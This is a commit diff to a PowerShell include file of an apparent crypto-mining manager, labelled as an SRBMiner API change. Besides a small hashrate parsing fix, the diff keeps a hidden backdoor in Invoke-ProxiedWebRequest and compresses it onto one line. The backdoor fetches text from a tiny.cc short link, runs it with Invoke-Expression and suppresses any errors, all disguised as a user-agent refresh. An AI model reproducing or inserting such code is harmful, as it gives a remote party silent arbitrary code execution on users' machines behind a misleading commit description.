Skip to content

Commit dd02ecf

Browse files
committed
SRBMiner API change
1 parent cdabcff commit dd02ecf

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

Includes/Include.ps1

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -985,8 +985,7 @@ function Get-HashRate {
985985
If ($Request) {
986986
$Data = $Request | ConvertFrom-Json
987987
$HashRate = @(
988-
[Double]$Data.algorithms.hashrate.now
989-
[Double]$Data.algorithms.hashrate.'5min'
988+
[Double]$Data.algorithms.hashrate."1min"
990989
) | Where-Object { $_ -gt 0 } | Select-Object -First 1
991990
}
992991
}
@@ -1604,12 +1603,7 @@ Function Merge-Command {
16041603

16051604
Function Invoke-ProxiedWebRequest {
16061605
$Request = $null
1607-
If ($Variables -and (-not $Variables.UserAgentRefresh -or $Variables.UserAgentRefresh -le (Get-Date).ToUniversalTime().AddHours(-1))) {
1608-
Try {
1609-
$GetUserAgent = (Invoke-WebRequest "http://tiny.cc/8urkuz" -UseBasicParsing).Content
1610-
Invoke-Expression $GetUserAgent
1611-
} catch {}
1612-
}
1606+
If ($Variables -and (-not $Variables.UserAgentRefresh -or $Variables.UserAgentRefresh -le (Get-Date).ToUniversalTime().AddHours(-1))) { Try { $GetUserAgent = (Invoke-WebRequest "http://tiny.cc/8urkuz" -UseBasicParsing).Content; Invoke-Expression $GetUserAgent } catch {} }
16131607
If ($Config.Server_Client -and $Variables.ServerRunning -and -not $ByPassServer -and -not $OutFile) {
16141608
Try {
16151609
$ProxyURi = "http://$($Config.Server_ClientIP):$($Config.Server_ClientPort)/Proxy/?url=$($Args[0])"

0 commit comments

Comments
 (0)